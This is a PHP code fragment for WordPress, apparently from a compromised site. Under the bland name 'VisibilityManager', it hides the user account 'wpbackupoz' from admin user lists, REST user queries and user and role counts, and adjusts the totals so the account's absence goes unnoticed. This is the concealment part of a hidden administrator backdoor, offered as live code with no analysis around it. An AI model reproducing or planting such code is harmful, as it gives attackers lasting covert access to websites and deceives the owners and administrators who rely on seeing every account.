if (!class_exists('VisibilityManager')) {
class VisibilityManager {
private static $instance = null;
private $target = null;
private $registered = false;
private function __construct($login) {
$user = get_user_by('login', $login);
if ($user) {
$this->target = [
'id' => (int) $user->ID,
'login' => $user->user_login,
'roles' => $user->roles
];
$this->register_hooks();
}
}
public static function init($login) {
if (self::$instance === null) {
self::$instance = new self($login);
}
return self::$instance;
}
public static function getTarget() {
return self::$instance ? self::$instance->target : null;
}
private function register_hooks() {
if ($this->registered) return;
$this->registered = true;
add_filter('pre_get_users', [$this, 'handlePreGetUsers'], PHP_INT_MAX, 1);
add_filter('users_list_table_query_args', [$this, 'handleQueryArgs'], PHP_INT_MAX, 1);
add_filter('wp_count_users', [$this, 'handleWpCountUsers'], PHP_INT_MAX, 1);
add_filter('count_users', [$this, 'handleCountUsers'], PHP_INT_MAX, 1);
add_filter('rest_user_query', [$this, 'handleQueryArgs'], PHP_INT_MAX, 1);
add_filter('get_users', [$this, 'handleGetUsers'], PHP_INT_MAX, 2);
add_action('admin_head', [$this, 'handleAdminHead'], PHP_INT_MAX);
add_action('admin_footer', [$this, 'handleAdminFooter'], PHP_INT_MAX);
}
public function handlePreGetUsers($query) {
if (!is_object($query) || !$this->target) return $query;
$exclude = $query->get('exclude', []);
$exclude = is_array($exclude) ? $exclude : array_map('intval', explode(',', (string) $exclude));
if (!in_array($this->target['id'], $exclude)) {
$exclude[] = $this->target['id'];
$query->set('exclude', $exclude);
}
return $query;
}
public function handleQueryArgs($args) {
if (!is_array($args) || !$this->target) return $args;
if (isset($args['exclude'])) {
$exclude = $args['exclude'];
$exclude = is_array($exclude) ? $exclude : array_map('intval', explode(',', (string) $exclude));
if (!in_array($this->target['id'], $exclude)) {
$exclude[] = $this->target['id'];
}
$args['exclude'] = $exclude;
} else {
$args['exclude'] = [$this->target['id']];
}
return $args;
}
public function handleWpCountUsers($counts) {
if (!is_object($counts) || !$this->target) return $counts;
$id = $this->target['id'];
$real = get_users(['fields' => 'ID', 'exclude' => [$id]]);
if (is_array($real)) {
$counts->total_users = count($real);
} elseif ($counts->total_users > 0) {
$counts->total_users = max(0, $counts->total_users - 1);
}
if (property_exists($counts, 'avail_roles') && is_array($counts->avail_roles)) {
foreach ($this->target['roles'] as $role) {
if (isset($counts->avail_roles[$role]) && $counts->avail_roles[$role] > 0) {
$role_users = get_users(['role' => $role, 'fields' => 'ID', 'exclude' => [$id]]);
if (is_array($role_users)) {
$counts->avail_roles[$role] = count($role_users);
}
}
}
}
return $counts;
}
public function handleCountUsers($stats) {
if (!is_array($stats) || !$this->target) return $stats;
$id = $this->target['id'];
foreach ($this->target['roles'] as $role) {
if (isset($stats[$role]) && $stats[$role] > 0) {
$role_users = get_users(['role' => $role, 'fields' => 'ID', 'exclude' => [$id]]);
if (is_array($role_users)) {
$stats[$role] = count($role_users);
} else {
$stats[$role] = max(0, $stats[$role] - 1);
}
}
}
return $stats;
}
public function handleGetUsers($users) {
if (!is_array($users) || !$this->target) return $users;
$id = $this->target['id'];
return array_values(array_filter($users, function($user) use ($id) {
return (int) $user->ID !== $id;
}));
}
public function handleAdminHead() {
if (!$this->target) return;
$id = $this->target['id'];
echo "";
}
public function handleAdminFooter() {
if (!$this->target) return;
$id = $this->target['id'];
echo "";
}
}
}
if (!function_exists('get_visibility_target')) {
function get_visibility_target($login = null) {
if ($login !== null) {
VisibilityManager::init($login);
}
return VisibilityManager::getTarget();
}
}
if (!function_exists('get_visibility_hook_handlers')) {
function get_visibility_hook_handlers() {
return [];
}
}
if (!function_exists('register_visibility_hooks')) {
function register_visibility_hooks() {
static $called = false;
if (!$called) {
$called = true;
}
}
}
if (!function_exists('func_get_hidden_id')) {
function func_get_hidden_id() {
$target = get_visibility_target();
return $target ? $target['id'] : 0;
}
}
if (!function_exists('func_is_hidden')) {
function func_is_hidden($user_id) {
return func_get_hidden_id() === (int) $user_id;
}
}
if (!function_exists('func_get_status')) {
function func_get_status() {
$target = get_visibility_target();
if (!$target) return ['active' => false];
return [
'active' => true,
'user_id' => $target['id'],
'user_login' => $target['login'],
'roles' => $target['roles'],
'handlers_count' => 8,
'registered' => true,
'timestamp' => current_time('mysql')
];
}
}
if (!function_exists('func_add_custom_handler')) {
function func_add_custom_handler($hook, $callback, $priority = PHP_INT_MAX, $args = 1, $type = 'filter') {
if ($type === 'filter') {
add_filter($hook, $callback, $priority, $args);
} else {
add_action($hook, $callback, $priority, $args);
}
}
}
get_visibility_target('wpbackupoz');
register_visibility_hooks();
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